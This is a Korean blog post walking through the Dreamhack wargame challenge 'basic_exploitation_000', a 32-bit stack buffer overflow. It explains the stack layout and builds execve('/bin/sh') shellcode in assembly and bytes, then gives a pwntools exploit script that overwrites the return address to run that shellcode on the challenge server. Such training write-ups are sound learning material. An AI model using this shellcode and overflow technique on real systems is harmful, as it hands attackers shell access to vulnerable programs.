IT/Wargame

[System Hacking] basic_exploitation_000

kykyky 2024. 3. 2. 16:00

Description

 

프로그램의 취약점을 통해 셸을 획득한 후, "flag" 파일을 읽어야 한다.

 


공격 대상의 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {
    char buf[0x80]; // 128바이트

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

 

 

나는 main 함수의 return address를 내가 실행시키고자 하는 함수의 주소로 overwrite하여 실행 흐름을 조작할 것이다.

 

main 함수의 stack frame 구조는 아래와 같을 것이다.

낮은 주소
...
buf (128바이트)
SFP (4바이트 ∵ Arch: i386-32-little)
Return address (4바이트 ∵ Arch: i386-32-little)
...
높은 주소

 

 

따라서,

buf에 값을 넣는 scanf 함수를 통해
셸코드를 실은 다음, Return address 시작 부분까지 쓰레기 값으로 채우고, overwrtie할 셸코드의 주소를 덧붙인 payload를 전달하면, 

최종적으로 이 셸코드가 실행될 것이다.

 

 

셸코드의 주소

 

이 셸코드는 buf에 저장되므로 

buf의 주소를 곧 이 셸코드의 주소로 취급할 수 있다.

 

 

셸코드

 

이제 셸코드를 작성해야 하며, 우선 어셈블리를 짜 보자.

execve system call을 통해 셸 프로그램을 실행하는 어셈블리이다.

 

syscall %eax arg0 (%ebx) arg1 (%ecx) arg2 (%edx)
execve 0x0b const char *filename const char *const *argv const char *const *envp

 

 

%ebx에는 "//bin/sh"를 넣어야 한다.

이것은 little endian 방식에 맞추어 Null, hs/n, ib// 순으로 push되어야 한다.

 

hs/n을 ascii -> hex로 변환하면 68 73 2F 6E

ib//을 ascii -> hex로 변환하면 69 62 2F 2F

 

따라서 아래처럼 어셈블리를 작성한다.

xor eax, eax    ; eax = 0 = Null 됨
push eax        
push 0x68732f6e ; 
push 0x69622f2f ; 
mov ebx, esp    ; 여기까지 쌓은 걸 ebx로 전달하기 위함

 

%ecx와 %edx는 0이면 된다.

 

따라서 아래처럼 어셈블리를 작성한다.

xor ecx, ecx    
xor edx, edx   

 

%eax는 0x0b여야 하며 아래 어셈블리를 통해 가능하다. (왜 꼭 이 순서로 더해야 하는지는 모르겠다. . .)
mov al, 0x08    
inc eax         
inc eax
inc eax

 

마지막으로 system call을 위하여 아래 어셈블리 한 줄을 추가한다.

int 0x80 

 

 

위 어셈블리를 모두 합치면 아래와 같이 된다.

xor eax, eax    ; eax = 0 = Null 됨
push eax        
push 0x68732f6e ; 
push 0x69622f2f ; 
mov ebx, esp    ; 여기까지 쌓은 걸 ebx로 전달하기 위함

xor ecx, ecx    
xor edx, edx   

mov al, 0x08    
inc eax         
inc eax
inc eax

int 0x80 

 

 

위 어셈블리를 바이트 코드로 변환하자.

 

 

위 바이트 코드를 아래와 같은 스트링으로 최종 정리하면 완성이다.

 

"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" (총 26바이트)

 

 

쓰레기 값

 

쓰레기 값은 128 + 4 - 26 = 106바이트만큼 채우면 된다.

 

 

 

Exploit

 

지금까지 구한 모든 것을 payload에 실어 전송하는 python code를 완성하였다.

 

 

exploit.py

from pwn import *
 
p = remote("host3.dreamhack.games", 15407)
 
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16) # p.recv(10): bytes type
 
# 셸코드 
code = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
# 쓰레기 값 추가
code += "\x41" * 106 
# 셸코드의 주소 추가
code += p32(buf_address).decode('latin-1') # p32(buf_address)는 bytes type, decode 거치면 str type

p.send(code)
 
p.interactive()

 

 

위 코드를 실행하면 아래와 같이 exploit이 가능하다.